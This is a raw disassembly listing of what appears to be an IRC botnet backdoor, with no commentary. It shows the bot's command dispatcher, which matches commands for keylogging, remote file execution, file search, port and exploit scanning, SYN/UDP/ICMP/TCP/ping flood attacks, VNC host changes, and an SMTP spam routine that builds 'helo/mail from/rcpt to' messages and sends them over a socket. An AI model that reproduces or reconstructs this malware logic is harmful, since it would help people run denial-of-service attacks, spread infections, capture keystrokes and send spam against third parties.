		mov	[ebp+var_E3C], eax
		jnz	short loc_405D23
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D23
		mov	esi, [ebp+var_88]


loc_405D23:				; CODE XREF: sub_401ACD+4238j
					; sub_401ACD+424Ej
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B564
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_4131EC
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_405DA6


loc_405D90:				; CODE XREF: sub_401ACD+42D7j
		cmp	[ebp+var_E38], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_405D90
; ---------------------------------------------------------------------------


loc_405DA6:				; CODE XREF: sub_401ACD+42C1j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42B528
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DB7:				; CODE XREF: sub_401ACD+41F8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	21h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DE5
		push	eax
		push	offset unk_42B4EC
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405DE5:				; CODE XREF: sub_401ACD+430Bj
		push	offset unk_42B4C0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405DEF:				; CODE XREF: sub_401ACD+41E3j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EC2
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E8A
		push	2
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405E2D
		push	offset dword_42B498
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405E2D:				; CODE XREF: sub_401ACD+4354j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B46C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	loc_4081AD
		nop
		call	near ptr 2680972h
		push	eax
		push	offset dword_42B438
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405E8A:				; CODE XREF: sub_401ACD+4348j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	2
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EB8
		push	eax
		push	offset dword_42B400
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_405EB8:				; CODE XREF: sub_401ACD+43DEj
		push	offset dword_42B3E0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_405EC2:				; CODE XREF: sub_401ACD+4333j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40616D
		cmp	dword_4CBAA4, ebx
		jz	short loc_405F4F
		cmp	dword_4CBACC, ebx
		jz	short loc_405F4F
		push	offset unk_42B388
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405F4F:				; CODE XREF: sub_401ACD+446Ej
					; sub_401ACD+4476j
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F77
		push	eax
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx


loc_405F77:				; CODE XREF: sub_401ACD+449Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FC3
		cmp	[ebp+arg_18], ebx
		jz	short loc_405F97
		push	[ebp+arg_0]
		push	3
		jmp	loc_406021
; ---------------------------------------------------------------------------


loc_405F97:				; CODE XREF: sub_401ACD+44BEj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418EA8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FB9
		push	offset unk_42B35C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FB9:				; CODE XREF: sub_401ACD+44E0j
		push	offset unk_42B33C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_405FC3:				; CODE XREF: sub_401ACD+44B9j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FDB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FDB:				; CODE XREF: sub_401ACD+4505j
		push	edi
		push	offset aPause	; "pause"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FF3
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_405FF3:				; CODE XREF: sub_401ACD+451Dj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40600B
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406021
; ---------------------------------------------------------------------------


loc_40600B:				; CODE XREF: sub_401ACD+4535j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406033
		push	[ebp+arg_0]
		push	1


loc_406021:				; CODE XREF: sub_401ACD+44C5j
					; sub_401ACD+450Cj ...
		call	sub_418C0E
		pop	ecx
		pop	ecx


loc_406028:				; CODE XREF: sub_401ACD+459Fj
					; sub_401ACD+4628j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_406033:				; CODE XREF: sub_401ACD+454Dj
		push	edi
		push	offset aShare	; "share"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40609B
		cmp	[ebp+arg_18], ebx
		jz	short loc_40606E
		cmp	[ebp+var_8FC], bl
		jz	short loc_406059
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_406064
; ---------------------------------------------------------------------------


loc_406059:				; CODE XREF: sub_401ACD+4582j
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx


loc_406064:				; CODE XREF: sub_401ACD+458Aj
		call	sub_418FE5
		add	esp, 0Ch
		jmp	short loc_406028
; ---------------------------------------------------------------------------


loc_40606E:				; CODE XREF: sub_401ACD+457Aj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4191DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_406091
		push	offset unk_42B2FC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406091:				; CODE XREF: sub_401ACD+45B8j
		push	offset unk_42B2DC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40609B:				; CODE XREF: sub_401ACD+4575j
		push	edi
		push	offset aUser	; "user"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406127
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4060FA
		cmp	[ebp+var_8FC], bl
		jz	short loc_4060CD
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060CD:				; CODE XREF: sub_401ACD+45ECj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4060E9
		push	esi
		push	eax
		push	ebx
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_401ACD+4615j
		push	ebx
		push	eax
		push	2


loc_4060ED:				; CODE XREF: sub_401ACD+45FEj
					; sub_401ACD+461Aj
		call	sub_4192FC
		add	esp, 18h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_4060FA:				; CODE XREF: sub_401ACD+45E4j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41982C
		add	esp, 10h
		test	eax, eax
		jz	short loc_40611D
		push	offset unk_42B2BC
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40611D:				; CODE XREF: sub_401ACD+4644j
		push	offset unk_42B29C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406127:				; CODE XREF: sub_401ACD+45DDj
		push	edi
		push	offset aSend	; "send"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406163
		cmp	[ebp+arg_18], ebx
		jz	short loc_406159
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419AE0
		add	esp, 10h
		jmp	loc_406028
; ---------------------------------------------------------------------------


loc_406159:				; CODE XREF: sub_401ACD+466Ej
		push	offset unk_42B270
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_406163:				; CODE XREF: sub_401ACD+4669j
		push	offset unk_42B254
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_40616D:				; CODE XREF: sub_401ACD+4462j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D


loc_40619B:				; CODE XREF: sub_401ACD+3C8Fj
					; sub_401ACD+3CC5j ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset dword_42B938
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066AE
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B3BA
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset word_41525A
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40669D


loc_406687:				; CODE XREF: sub_401ACD+4BCEj
		cmp	[ebp+var_3074],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 2670E97h
		jmp	short loc_406687
; ---------------------------------------------------------------------------


loc_40669D:				; CODE XREF: sub_401ACD+4BB8j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset unk_42B0E0
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_4066AE:				; CODE XREF: sub_401ACD+4B0Ej
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067DB
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_36AC],	esi
		push	edi
		push	offset dword_42B098
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset word_4141B2
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4067CA


loc_4067B4:				; CODE XREF: sub_401ACD+4CFBj
		cmp	[ebp+var_349C],	ebx
		jnz	loc_407196
		push	32h
		call	near ptr 2670E97h
		nop
		jmp	short loc_4067B4
; ---------------------------------------------------------------------------


loc_4067CA:				; CODE XREF: sub_401ACD+4CE5j
		nop
		call	near ptr 2680972h
		push	eax
		push	offset dword_42B05C
		jmp	loc_407187
; ---------------------------------------------------------------------------


loc_4067DB:				; CODE XREF: sub_401ACD+4C20j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aAd	; "ad"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aVnchost	; "vnchost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A5A
		push	edi
		call	sub_41B52C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406A5A:				; CODE XREF: sub_401ACD+4F56j
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C36
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C890
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C890
		push	[ebp+arg_10]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C890
		push	offset asc_42CDC0 ; " "
		push	offset dword_42B934
		push	[ebp+esi+var_7C]
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C890
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4CB944
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4CBA58
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CBA54
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB9D4
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_568C]
		push	eax
		push	esi
		call	dword_4CBA24
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
